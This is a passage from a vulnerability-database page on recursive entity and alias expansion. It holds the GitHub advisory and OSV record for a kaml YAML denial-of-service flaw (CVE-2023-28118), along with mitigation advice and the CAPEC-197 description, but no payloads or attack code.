      "url": "https://github.com/opencast/opencast"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Billion laughs attack (XML bomb)"
}

GHSA-C24F-2J3G-RG48

Vulnerability from github – Published: 2023-03-20 21:26 – Updated: 2023-03-20 21:26
VLAI
Summary
kaml has potential denial of service while parsing input with anchors and aliases
Details

Impact

Applications that use kaml to parse untrusted input containing anchors and aliases may consume excessive memory and crash.

Patches

Version 0.53.0 and later default to refusing to parse YAML documents containing anchors and aliases.

Workarounds

None.

References

Wikipedia has an explanation of this class of vulnerability: billion laughs attack

Acknowledgements

Thank you to @gdude2002 for reporting this issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.charleskorn.kaml:kaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.53.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-28118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-20T21:26:59Z",
    "nvd_published_at": "2023-03-20T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nApplications that use kaml to parse untrusted input containing anchors and aliases may consume excessive memory and crash.\n\n### Patches\nVersion 0.53.0 and later default to refusing to parse YAML documents containing anchors and aliases.\n\n### Workarounds\nNone.\n\n### References\nWikipedia has an explanation of this class of vulnerability: [billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)\n\n### Acknowledgements\nThank you to @gdude2002 for reporting this issue.",
  "id": "GHSA-c24f-2j3g-rg48",
  "modified": "2023-03-20T21:26:59Z",
  "published": "2023-03-20T21:26:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/charleskorn/kaml/security/advisories/GHSA-c24f-2j3g-rg48"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28118"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charleskorn/kaml/commit/5f82a2d7e00bfc307afca05d1dc4d7c50593531a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/charleskorn/kaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charleskorn/kaml/releases/tag/0.53.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kaml has potential denial of service while parsing input with anchors and aliases "
}
Mitigation
Operation

If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

Mitigation
Implementation

Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

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